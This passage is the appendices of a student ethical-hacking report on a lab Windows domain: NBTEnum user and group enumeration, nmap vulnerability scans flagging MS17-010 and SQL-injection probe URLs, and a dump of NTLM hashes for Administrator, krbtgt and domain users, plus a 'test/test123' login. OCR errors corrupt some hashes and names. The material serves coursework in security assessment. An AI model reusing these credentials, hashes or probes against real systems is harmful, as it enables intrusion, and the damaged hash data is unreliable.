- M.Tilman

- M.Wentz

- N.Bitterman
- N.Broady

- N.Hooton

- O.Sandoval
- R.Avina

- R.Burstein

- R.Gudino

- R.Sepeda

- R.Stoneking
- R.Zoll

- S.Abercrombie
- S.Dalrymple
- S.Gerst
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- S.Kerfoot

- S.Leverich

- S.Poore

- S.Russom

- S.Tacey

- T.Blass

- T.Lefebre

- T.Prestidge

- V.Layman

- V.Reighard

- V.Teran

- W.Haakenson
- W.Loch

- W.Parekh

- Y.Lezama

- Y.Weinstein

- Z.Sowders

- krbtgt -Disabled
- test

Engineering
- C.Armes

- C.Linen

- C.Spann

- C.Yother

- E.Breck

- E.Mogan

- G.Youngberg
- J.Wiste

- M.Otter

- N.Broady

- N.Hooton

- R.Stoneking
- S.Tacey

- T.Blass

- Y.Weinstein

Enterprise Admins
- Administrator

Enterprise Read-only Domain Controllers

Finance

- C.Corpuz

- D.Doolin

- D.Jin

- D.Kawasaki
- F.Lu

- G.Chica

- |.Cortright

- J.Killion
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- K.Dipaola

- L.Sarver

- M.Bonneau
- R.Gudino

- S.Dalrymple
- S.Kerfoot

- S.Leverich

- S.Russom

- V.Reighard

- Z.Sowders

Group Policy Creator Owners
- Administrator

Human Resources
- A.Mckendree
- C.Selzer

- E.Bascom

- E.Bouknight

- F.Nelms

- G.Fuller

- H.Shiba

- L.Mcnaughton
- M.Colberg

- M.Tilman

- M.Wentz

- O.Sandoval

- R.Avina

- T.Prestidge

- V.Layman

- W.Loch

- Y.Lezama

Information Technology
- A.Eisenmenger
- A.Fritzler

- B.Riche

- B.Schweitzer

- D.Halas

- D.Lecroy

- D.Rosamond

- J.Murrell

- K.Corney

- L.Gamino

- M.Lampe

- M.Lanasa

- R.Burstein

- S.Gerst

- T.Lefebre

- W.Haakenson

- W.Parekh
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Legal

- D.Clinard

- D.Mcdonough
- E.Bolander
- E.Hillhouse
- G.Nordeen
- J.Uribe

- L.Angelo

- M.Hoy

- M.Maxwell
- R.Sepeda
- R.Zoll

- V.Teran

Read-only Domain Controllers

Sales

- A.Marsland

- B.Evert

- B.Saari

- C.Brice

- C.Hernadez
- D.Kennemer
- E.Leclaire

- F.Lietz

- F.Ousley

- J.Schack

- K.Husby

- K.Leiker

- L.Soriano

- M.Birdwell

- M.Hershberger
- M.Pascucci
- M.Thiel

- N.Bitterman
- S.Abercrombie
- S.Poore

Schema Admins

- Administrator

Share Information

ADMINS

C$

IPC$
NETLOGON
SYSVOL
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Written by Reed Arvin - reedarvin@gmail.com

NBTEnum v3.3
192.168.0.2

Password checking is "OFF"

Running as user "UADTARGETNET\test", password is "test123"

Network Transports

4835-9C50-EF36D68CA236}
MAC Address: 0050563A429F

Transport: \Device\NetBT_Tcpip_{81F26EBB-C4BD-

NetBIOS Name

UADTARGETNET

Account Lockout Threshold

0 Attempts

Local Groups and Users

Account Operators

Administrators

- UADTARGETNET\Administrator

- UADTARGETNET\B.Evert

- UADTARGETNET\Benny Hill

- UADTARGETNET\D.Kawasaki

- UADTARGETNET\D.Lecroy

- UADTARGETNET\D.Rosamond

- UADTARGETNET\Domain Admins
- UADTARGETNET\Enterprise Admins
- UADTARGETNET\F.Nelms

- UADTARGETNET\G.Chica

- UADTARGETNET\H.Shiba

- UADTARGETNET\I.Cortright

- UADTARGETNET\N.Hooton

- UADTARGETNET\R.Burstein

- UADTARGETNET\S.Abercrombie
- UADTARGETNET\W.Parekh

- UADTARGETNET\Y.Lezama

Backup Operators

Allowed RODC Password Replication Group
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Cert Publishers

Certificate Service DCOM Access
Cryptographic Operators

Denied RODC Password Replication Group
- UADTARGETNET\Cert Publishers

- UADTARGETNET\Domain Admins

- UADTARGETNET\Domain Controllers

- UADTARGETNET\Enterprise Admins

- UADTARGETNET\Group Policy Creator Owners
- UADTARGETNET\Read-only Domain Controllers
- UADTARGETNET\Schema Admins

- UADTARGETNET\krbtgt -Disabled
Distributed COM Users

DnsAdmins

Event Log Readers

Guests

- UADTARGETNET\Domain Guests

- UADTARGETNET\Guest -Disabled
IIS_IUSRS

Incoming Forest Trust Builders

Network Configuration Operators
Performance Log Users

Performance Monitor Users

Pre-Windows 2000 Compatible Access
- NT AUTHORITY\Authenticated Users

Print Operators

RAS and IAS Servers
Remote Desktop Users
Replicator

Server Operators

TelnetClients
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Terminal Server License Servers

Users

- NT AUTHORITY\Authenticated Users
- NT AUTHORITYAINTERACTIVE

- UADTARGETNET\Benny Hill

- UADTARGETNET\Domain Users

Windows Authorization Access Group
- NT AUTHORITY\ENTERPRISE DOMAIN
CONTROLLERS

Global Groups and Users

DnsUpdateProxy

Domain Admins
- Administrator

Domain Computers
- CLIENT1$
- CLIENT2$
- b$

- cn$

- correo$

- cust21$

- cust393%

- galerias$
- ipmonitor$
- lib$

- lists$

- miami$

- pc19$

- pc54$

- pc56$

- rho$

- rtc5$

- secured$
- segment-119-227$
- uranus$

- webs$

- wwwchat$

Domain Controllers
- SERVER1$
- SERVER2$

Domain Guests
- Guest -Disabled

Domain Users
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- A.Eisenmenger
- A.Fritzler

- A.Marsland

- A.Mckendree
- Administrator
- B.Evert

- B.Riche

- B.Saari

- B.Schweitzer
- Benny Hill

- C.Armes

- C.Brice

- C.Corpuz

- C.Hernadez
- C.Linen

- C.Selzer

- C.Spann

- C.Yother

- D.Clinard

- D.Doolin

- D.Halas

- D.Jin

- D.Kawasaki
- D.Kennemer
- D.Lecroy

- D.Mcdonough
- D.Rosamond
- E.Bascom

- E.Bolander

- E.Bouknight
- E.Breck

- E.Hillhouse

- E.Leclaire

- E.Mogan

- F.Lietz

- F.Lu

- F.Nelms

- F.Qusley

- G.Chica

- G.Fuller

- G.Nordeen

- G.Youngberg
- H.Shiba

- |.Cortright

- J.Killion

- J.Murrell

- J.Schack

- J.Uribe

- J.Wiste

- K.Corney

- K.Dipaola
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- K.Husby

- K.Leiker

- L.Angelo

- L.Gamino

- L.Mcnaughton
- L.Sarver

- L.Soriano

- M.Birdwell

- M.Bonneau
- M.Colberg

- M.Hershberger
- M.Hoy

- M.Lampe

- M.Lanasa

- M.Maxwell

- M.Otter

- M.Pascucci
- M.Thiel

- M.Tilman

- M.Wentz

- N.Bitterman
- N.Broady

- N.Hooton

- O.Sandoval
- R.Avina

- R.Burstein

- R.Gudino

- R.Sepeda

- R.Stoneking
- R.Zoll

- S.Abercrombie
- S.Dalrymple
- S.Gerst

- S.Kerfoot

- S.Leverich

- S.Poore

- S.Russom

- S.Tacey

- T.Blass

- T.Lefebre

- T.Prestidge
- V.Layman

- V.Reighard
- V.Teran

- W.Haakenson
- W.Loch

- W.Parekh

- Y.Lezama

- Y.Weinstein
- Z.Sowders

- krbtgt -Disabled
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- test

Engineering
- C.Armes

- C.Linen

- C.Spann

- C.Yother

- E.Breck

- E.Mogan

- G.Youngberg
- J.Wiste

- M.Otter

- N.Broady

- N.Hooton

- R.Stoneking
- S.Tacey

- T.Blass

- Y.Weinstein

Enterprise Admins
- Administrator

Enterprise Read-only Domain Controllers

Finance

- C.Corpuz

- D.Doolin

- D.Jin

- D.Kawasaki
- F.Lu

- G.Chica

- |.Cortright

- J.Killion

- K.Dipaola

- L.Sarver

- M.Bonneau
- R.Gudino

- S.Dalrymple
- S.Kerfoot

- S.Leverich
- S.Russom

- V.Reighard
- Z.Sowders

Group Policy Creator Owners
- Administrator

Human Resources
- A.Mckendree

- C.Selzer

- E.Bascom
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- E.Bouknight
- F.Nelms

- G.Fuller

- H.Shiba

- L.Mcnaughton
- M.Colberg

- M.Tilman

- M.Wentz

- O.Sandoval
- R.Avina

- T.Prestidge
- V.Layman

- W.Loch

- Y.Lezama

Information Technology

- A.Eisenmenger
- A.Fritzler

- B.Riche

- B.Schweitzer
- D.Halas

- D.Lecroy

- D.Rosamond
- J.Murrell

- K.Corney

- L.Gamino

- M.Lampe

- M.Lanasa

- R.Burstein

- S.Gerst

- T.Lefebre

- W.Haakenson
- W.Parekh

Legal

- D.Clinard

- D.Mcdonough
- E.Bolander
- E.Hillhouse
- G.Nordeen
- J.Uribe

- L.Angelo

- M.Hoy

- M.Maxwell
- R.Sepeda
- R.Zoll

- V.Teran

Read-only Domain Controllers

Sales
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- A.Marsland

- B.Evert

- B.Saari

- C.Brice

- C.Hernadez

- D.Kennemer

- E.Leclaire

- F.Lietz

- F.Qusley

- J.Schack

- K.Husby

- K.Leiker

- L.Soriano

- M.Birdwell

- M.Hershberger
- M.Pascucci

- M.Thiel

- N.Bitterman

- S.Abercrombie
- S.Poore

Schema Admins
- Administrator

Share Information

ADMINS

C$

IPC$
NETLOGON
SYSVOL

Written by Reed Arvin - reedarvin@gmail.com

APPENDIX D — NMAP VULNERABILITY SCAN RESULTS

192.168.0.1

root@kali:~# nmap --script vuln 192.168.0.1

Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-25 06:41 EST

root@kali:~# nmap --script vuln 192.168.0.1

Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-25 06:42 EST

Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
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Parallel DNS resolution of 1 host. Timing: About 0.00% done

Stats: 0:00:03 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done

Stats: 0:00:09 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done

Stats: 0:00:14 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 76.73% done; ETC: 06:42 (0:00:00 remaining)
Stats: 0:00:19 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.70% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:19 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.76% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:22 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.68% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:26 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.73% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:30 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:34 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:44 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:45 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:46 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:46 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
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Stats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:48 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:48 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:48 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:48 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:48 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
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NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.84% done; ETC: 06:43 (0:00:00 remaining)

Nmap scan report for 192.168.0.1

Host is up (0.0013s latency).

Not shown: 979 closed ports

PORT  STATE SERVICE

23/tcp open telnet

42/tcp open nameserver

53/tcp open domain

80/tcp open http

| http-csrf:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.0.1

| Found the following possible CSRF vulnerabilities:

I
| Path: http://192.168.0.1:80/student/

| Formid:
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Form action: process_form.php

| _http-dombased-xss: Couldn't find any DOM based XSS.

| http-enum:

/: Root directory w/ directory listing

/icons/: Potentially interesting folder w/ directory listing

| http-fileupload-exploiter:

Couldn't find a file-type field.

Couldn't find a file-type field.

| http-slowloris-check:

VULNERABLE:
Slowloris DOS attack
State: LIKELY VULNERABLE
IDs: CVE:CVE-2007-6750
Slowloris tries to keep many connections to the target web server open and hold
them open as long as possible. It accomplishes this by opening connections to
the target web server and sending a partial request. By doing so, it starves

the http server's resources causing Denial Of Service.

Disclosure date: 2009-09-17
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750

http://ha.ckers.org/slowloris/

| http-sql-injection:

Possible sqli for queries:
http://192.168.0.1:80/student/js/?C=S%3b0%3dA%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=D%3b0%3dA%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=M%3b0%3dA%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=N%3b0%3dD%27%200R%20sqlspider

http://192.168.0.1:80/student/js/?C=N%3b0%3dA%27%200R%20sqlIspider
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http://192.168.0.1:80/student/js/?C=5%3b0%3dD%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=D%3b0%3dA%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=M%3b0%3dA%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=N%3b0%3dA%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=5%3b0%3dA%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=M%3b0%3dA%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=D%3b0%3dD%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=M%3b0%3dD%27%200R%20sqlspider
http://192.168.0.1:80/student/js/?C=N%3b0%3dA%27%200R%20sqlIspider
http://192.168.0.1:80/student/js/?C=S%3b0%3dA%27%200R%20sqlspider

http://192.168.0.1:80/student/js/?C=D%3b0%3dA%27%200R%20sqlspider

| _http-stored-xss: Couldn't find any stored XSS vulnerabilities.

| _http-trace: TRACE is enabled

88/tcp open kerberos-sec

135/tcp open msrpc

139/tcp open netbios-ssn

389/tcp open
| _sslv2-drown:
445/tcp open
464/tcp open
593/tcp open
636/tcp open

| _sslv2-drown:

3268/tcp open globalcatLDAP

3269/tcp open globalcatLDAPss|

| _sslv2-drown:

49152/tcp open
49153 /tcp open
49154/tcp open
49155/tcp open

49156/tcp open

Idap

microsoft-ds
kpasswd5
http-rpc-epmap

Idapssl

unknown

unknown

unknown

unknown

unknown

1700463
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49160/tcp open unknown

49161/tcp open unknown

MAC Address: 00:0C:29:65:8E:40 (VMware)

Host script results:

| _smb-vuln-ms10-054: false

| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

| smb-vuln-ms17-010:

VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1

servers (ms17-010).

Disclosure date: 2017-03-14
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-

attacks/

https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 87.34 seconds

192.168.0.2

root@kali:~# nmap --script vuln 192.168.0.2

\Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-25 06:50 EST

Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan

NSE Timing: About 0.00% done

Stats: 0:01:52 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
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NSE Timing: About 99.77% done; ETC: 06:52 (0:00:00 remaining)
Nmap scan report for 192.168.0.2

Host is up (0.0013s latency).

Not shown: 980 closed ports

PORT  STATE SERVICE

23/tcp open telnet

42/tcp open nameserver

53/tcp open domain

80/tcp open http

| _http-csrf: Couldn't find any CSRF vulnerabilities.

| _http-dombased-xss: Couldn't find any DOM based XSS.
| _http-stored-xss: Couldn't find any stored XSS vulnerabilities.
88/tcp open kerberos-sec

135/tcp open msrpc

139/tcp open netbios-ssn

389/tcp open Idap

| _sslv2-drown:

445/tcp open microsoft-ds

464/tcp open kpasswd5

593/tcp open http-rpc-epmap

636/tcp open Idapssl

| _sslv2-drown:

3268/tcp open globalcatLDAP

3269/tcp open globalcatLDAPss|

| _sslv2-drown:

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

49157/tcp open unknown

49158/tcp open unknown

1700463
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MAC Address: 00:50:56:3A:42:9F (VMware)

Host script results:

| _smb-vuln-ms10-054: false

| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBv1

| servers (ms17-010).

| Disclosure date: 2017-03-14
| References:

| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-
attacks/

| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 144.71 seconds

APPENDIX E — NESSUS SERVER SCAN RESULTS

APPENDIX F — USERNAMES AND HASHES AND CRACKED HASHES

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ebb4324f92238051780d50bcd6cb8f6d:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089c0:::
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krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ab4f1664ad3a8ac47a90d02b3ccafal7:::

Benny Hill:1000:aad3b435b51404eeaad3b435b51404ee:8516f8dca38b8541bc6f4732c3b30412:::
R.Gudino:8410:aad3b435b51404eeaad3b435b51404ee:ebacebcae9aa28625353f369506d0f28:::
E.Breck:8411:aad3b435b51404eeaad3b435b51404ee:20a324ab60b4103c84a8959¢8b92f166:::
D.Lecroy:8412:aad3b435b51404eeaad3b435b51404ee:7702b67dce2elaa3293c3ad215f24174:::
C.Armes:8413:aad3b435b51404eeaad3b435b51404ee:d384eec9dc85d57b38fbe9579¢c10eb76:::
C.Yother:8414:aad3b435b51404eeaad3b435b51404ee:44588920832d0bef2eba83350ba8e2ac::
K.Dipaola:8415:aad3b435b51404eeaad3b435b51404ee:a97b23993cfd462a05f09b9f2ec102e3:::
M.Lanasa:8416:aad3b435b51404eeaad3b435b51404ee:5a63fb49c0aablde75f684858f11f9140:::
D.Clinard:8417:aad3b435b51404eeaad3b435b51404ee:377a31f1c935583a5f4628a01b23b713:::
W.Parekh:8418:aad3b435b51404eeaad3b435b51404ee:231e43a29060527b07a013466063b85d:::
N.Hooton:8419:aad3b435b51404eeaad3b435b51404ee:6eleaef2a0800c172a5189dcdedcl5ee:::
D.Mcdonough:8420:aad3b435b51404eeaad3b435b51404ee:d1e2f6ba282896e11cleb309dc45d841::
M.Bonneau:8421:aad3b435b51404eeaad3b435b51404ee:baa9db4690d93af73a0b58d492fc179%e:::
F.Nelms:8422:aad3b435b51404eeaad3b435b51404ee:e884cad54f5d04434b945f83f20fe728:::
E.Hillhouse:8423:aad3b435b51404eeaad3b435b51404ee:a81658al7de2becl16e28554d225dbbO0c:::
M.Lampe:8424:aad3b435b51404eeaad3b435b51404ee:629655b5832025df0b07d6ad921d05f1:::
L.Mcnaughton:8425:aad3b435b51404eeaad3b435b51404ee:467015316e1d303072c9fd1560701a81:::
D.Halas:8426:aad3b435b51404eeaad3b435b51404ee:55a0c2e949a9029fdd2cf05ea559ab8d:::
R.Burstein:8427:aad3b435b51404eeaad3b435b51404ee:be6e5067d2116ae9fe1c9218cb107890::
V.Layman:8428:aad3b435b51404eeaad3b435b51404ee:242b0e75e96316ed79e80d75a7e2534d:::
A.Marsland:8429:aad3b435b51404eeaad3b435b51404ee:11b698f17bfdc8ceac7024a9be363649::
D.Rosamond:8430:aad3b435b51404eeaad3b435b51404ee:81767fad6a90de56d993d3c79cb33861:::
B.Riche:8431:aad3b435b51404eeaad3b435b51404ee:e5d9cb8f8b97ea5fe4336e7d048e1d74:::
J.Wiste:8432:aad3b435b51404eeaad3b435b51404ee:0c27f87553¢c702495622d5fach08f28a:::
T.Lefebre:8433:aad3b435b51404eeaad3b435b51404ee:82323df6b692f3abe06389da7e49032d::
S.Dalrymple:8434:aad3b435b51404eeaad3b435b51404ee:0aadfedad5d5adb2e5defc5815e2a70b::
R.Stoneking:8435:aad3b435b51404eeaad3b435b51404ee:8b431a6281b31f8ead931c2ebc67a9df:::

S.Russom:8436:aad3b435b51404eeaad3b435b51404ee:286585552ebd9750efe37af5a91f04c9:::
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M.Maxwell:8437:aad3b435b51404eeaad3b435b51404ee:5aeebcclc34f0ccbe28970dd80dal970:::
Z.Sowders:8438:aad3b435b51404eeaad3b435b51404ee:5d861812c015410e68636f9clefcbdcf::
M.Hoy:8439:aad3b435b51404eeaad3b435b51404ee:860c7a70bdd73bf26a9d8f178b0f2a21:::
C.Selzer:8440:aad3b435b51404eeaad3b435b51404ee:d84cade88a37602422f5e09fe9c92667:::
K.Leiker:8441:aad3b435b51404eeaad3b435b51404ee:9f542b83314786c1d00f8b220ef0bce5:::
S.Gerst:8442:aad3b435b51404eeaad3b435b51404ee:11f75db54704bbc3157748e09fb3f3dO0:::
D.Kennemer:8443:aad3b435b51404eeaad3b435b51404ee:c9cd1dfe890c7feb395ab993937b6cd4:::
L.Angelo:8444:aad3b435b51404eeaad3b435b51404ee:afecbhdf313821518a553996¢24fb2801:::
L.Gamino:8445:aad3b435b51404eeaad3b435b51404ee:6c4b1c694b039a45e0f322c57736ad7e:::
S.Tacey:8446:aad3b435b51404eeaad3b435b51404ee:e76d21bc9fd055441dbc89349518feea:::
E.Bouknight:8447:aad3b435b51404eeaad3b435b51404ee:034b97466d4cd5eb90bfbb8702b0edOa:::
L.Soriano:8448:aad3b435b51404eeaad3b435b51404ee:226d4dda77a91213e9110f5e0dc02d8d:::
M.Wentz:8449:aad3b435b51404eeaad3b435b51404ee:cdbbdaf7882d37aac00dba7a33f479f8:::
G.Fuller:8450:aad3b435b51404eeaad3b435b51404ee:b89cfea914a2d2a453f867c0a2c7049f:::
C.Linen:8451:aad3b435b51404eeaad3b435b51404ee:3fc6a1185994566888e7ec7e39551cf4:::
J.Murrell:8452:aad3b435b51404eeaad3b435b51404ee:e1d7423bd060d9e7c18eead0d0c29795::
A.Eisenmenger:8453:aad3b435b51404eeaad3b435b51404ee:b211d39424e0e36dfb1429b1221ab034:::
S.Poore:8454:aad3b435b51404eeaad3b435b51404ee:658ff8f4a8a920a77ea35e8a6e60ac7e::
A.Fritzler:8455:aad3b435b51404eeaad3b435b51404ee:4f78dd7b986b535ad86bddcdbd8a26b7:::
M.Otter:8456:aad3b435b51404eeaad3b435b51404ee:e730474cf4e94b417865514c2f9b1bf0:::
S.Kerfoot:8457:aad3b435b51404eeaad3b435b51404ee:783d2f00fa140fb1038ch89b36369ab7:::
B.Saari:8458:aad3b435b51404eeaad3b435b51404ee:f55452f31afa5fc95bdd9fb875b77c92:::
M.Colberg:8459:aad3b435b51404eeaad3b435b51404ee:bde26192b13266926770284be4a5a910:::
V.Reighard:8460:aad3b435b51404eeaad3b435b51404ee:921be01beb56236eaeabbf92a120843b:::
S.Leverich:8461:aad3b435b51404eeaad3b435b51404ee:€9913f51e4f8cf281c575ad417536bb8:::
C.Hernadez:8462:aad3b435b51404eeaad3b435b51404ee:d578033ce7ad10e812994aeb35bc9ca8:::
E.Bolander:8463:aad3b435b51404eeaad3b435b51404ee:24382cbb462e35d46269ce9bfcead86d:::
S.Abercrombie:8464:aad3b435b51404eeaad3b435b51404ee:4c00d9c8aalcc9bfd3f9928c6b57ce8b:::

D.Kawasaki:8465:aad3b435b51404eeaad3b435b51404ee:46d7e021a0287cf7ff1948d6290e855a:::

66| Page



Jonah McElfatrick 1700463
CMP 210 Ethical Hacking 1

J.Killion:8466:aad3b435b51404eeaad3b435b51404ee:c089715b9879bf841017dd9a3e77e7c8:::
C.Spann:8467:aad3b435b51404eeaad3b435b51404ee:7129a52b5976b4fd85b2b260d19b9a0b:::
E.Bascom:8468:aad3b435b51404eeaad3b435b51404ee:b70eeb9171f4edc7969651eldbdecl44::
W.Haakenson:8469:aad3b435b51404eeaad3b435b51404ee:9506de792d588c13a65ea24d720717e3:::
K.Corney:8470:aad3b435b51404eeaad3b435b51404ee:d689ec956d050e5370feaa3d3bb15115:::
K.Husby:8471:aad3b435b51404eeaad3b435b51404ee:5272cae31c91b08053555256¢cb3bed18::
R.Avina:8472:aad3b435b51404eeaad3b435b51404ee:e58479c1899bf760d55791f7bbecb9d5:::
C.Corpuz:8473:aad3b435b51404eeaad3b435b51404ee:e44af59f7¢c3d7d6994238bfeec6686e4:::
M.Tilman:8474:aad3b435b51404eeaad3b435b51404ee:da34124c25033¢352d106f545aad235¢:::
T.Blass:8475:aad3b435b51404eeaad3b435b51404ee:d7b063563d5592bb6cbac73ddelcf7b03:::
B.Schweitzer:8476:aad3b435b51404eeaad3b435b51404ee:c35d4e7966e40aa68fd710f6d3d7e19b:::
W.Loch:8477:aad3b435b51404eeaad3b435b51404ee:19c4debb6d31e4a4b3a6b9619c56706¢ca:::
N.Broady:8478:aad3b435b51404eeaad3b435b51404ee:290d909cc83df2896a7259¢c20bfb42a7:::
L.Sarver:8479:aad3b435b51404eeaad3b435b51404ee:1bad90aff3fd6e9463decaclfd0d2add:::
F.Ousley:8480:aad3b435b51404eeaad3b435b51404ee:73f4669c34bf0deaf600824a3b6e3487:::
T.Prestidge:8481:aad3b435b51404eeaad3b435b51404ee:0de8e99edd95959a7bfc22d44df5¢c3bd::
G.Nordeen:8482:aad3b435b51404eeaad3b435b51404ee:029bdb6bd801ef927dbdeb5e19db84f3:::
G.Youngberg:8483:aad3b435b51404eeaad3b435b51404ee:dfe37b561e0af597fef9509cec3555d6:::
